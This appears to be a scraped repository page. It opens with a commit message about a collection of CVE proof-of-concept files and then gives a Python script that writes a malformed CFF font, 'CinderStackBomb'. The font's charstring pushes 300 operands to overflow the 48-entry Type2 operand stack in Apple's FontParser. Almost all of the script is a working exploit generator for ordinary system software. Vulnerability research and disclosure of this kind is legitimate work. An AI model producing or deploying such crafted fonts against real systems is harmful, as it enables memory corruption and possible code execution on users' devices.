- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
79 lines
2.6 KiB
Python
79 lines
2.6 KiB
Python
#!/usr/bin/env python3
|
|
import struct
|
|
|
|
|
|
# --------------------------------------------------------------------------- CFF stack bomb
|
|
def build_cff():
|
|
"""
|
|
Bare CFF with one charstring that pushes 300 operands before endchar.
|
|
FontParser's Type2 interpreter keeps its operand stack in a fixed 48-entry array;
|
|
27.0 only bounds the *count* on pop paths, the push path walks past the array.
|
|
"""
|
|
def index(items):
|
|
if not items:
|
|
return struct.pack(">H", 0)
|
|
off = 1
|
|
offs = [1]
|
|
for it in items:
|
|
off += len(it)
|
|
offs.append(off)
|
|
off_size = 1 if off < 0x100 else (2 if off < 0x10000 else (3 if off < 0x1000000 else 4))
|
|
out = struct.pack(">H", len(items)) + bytes([off_size])
|
|
for o in offs:
|
|
out += o.to_bytes(off_size, "big")
|
|
out += b"".join(items)
|
|
return out
|
|
|
|
header = bytes([1, 0, 4, 1])
|
|
|
|
name_index = index([b"CinderStackBomb"])
|
|
|
|
# charstring: 300 pushes of 1, then endchar
|
|
cs = bytearray()
|
|
for _ in range(300):
|
|
cs.append(139 + 1) # push small int 1
|
|
cs.append(14) # endchar
|
|
charstrings = index([bytes(cs)])
|
|
|
|
gsubrs = index([])
|
|
strings = index([])
|
|
|
|
# Top DICT references CharStrings (op 17) and Private (op 18), both absolute offsets.
|
|
# Two-pass: build with placeholder of the same byte width, then patch.
|
|
def top_dict(cs_off, priv_off, priv_size):
|
|
def enc(v):
|
|
# DICT operand: 29 => 5-byte integer (fixed width, easy patching)
|
|
return b"\x1d" + struct.pack(">i", v)
|
|
d = enc(cs_off) + b"\x11" # CharStrings
|
|
d += enc(priv_size) + enc(priv_off) + b"\x12" # Private
|
|
return d
|
|
|
|
placeholder = top_dict(0, 0, 0)
|
|
top_index = index([placeholder])
|
|
|
|
priv = b"\x00" # trivial private dict (blueValues absent)
|
|
priv_index_data = priv
|
|
|
|
# layout: header | name | top | strings | gsubrs | charstrings | private
|
|
off = len(header) + len(name_index)
|
|
top_off = off
|
|
off += len(top_index)
|
|
off += len(strings)
|
|
off += len(gsubrs)
|
|
cs_off = off
|
|
off += len(charstrings)
|
|
priv_off = off
|
|
|
|
top_index = index([top_dict(cs_off, priv_off, len(priv))])
|
|
out = header + name_index + top_index + strings + gsubrs + charstrings + priv_index_data
|
|
return out
|
|
|
|
|
|
# --------------------------------------------------------------------------- KTX2
|
|
|
|
if __name__ == "__main__":
|
|
import sys
|
|
out = sys.argv[1] if len(sys.argv) > 1 else "stack_bomb.cff"
|
|
open(out, "wb").write(build_cff())
|
|
print("wrote", out)
|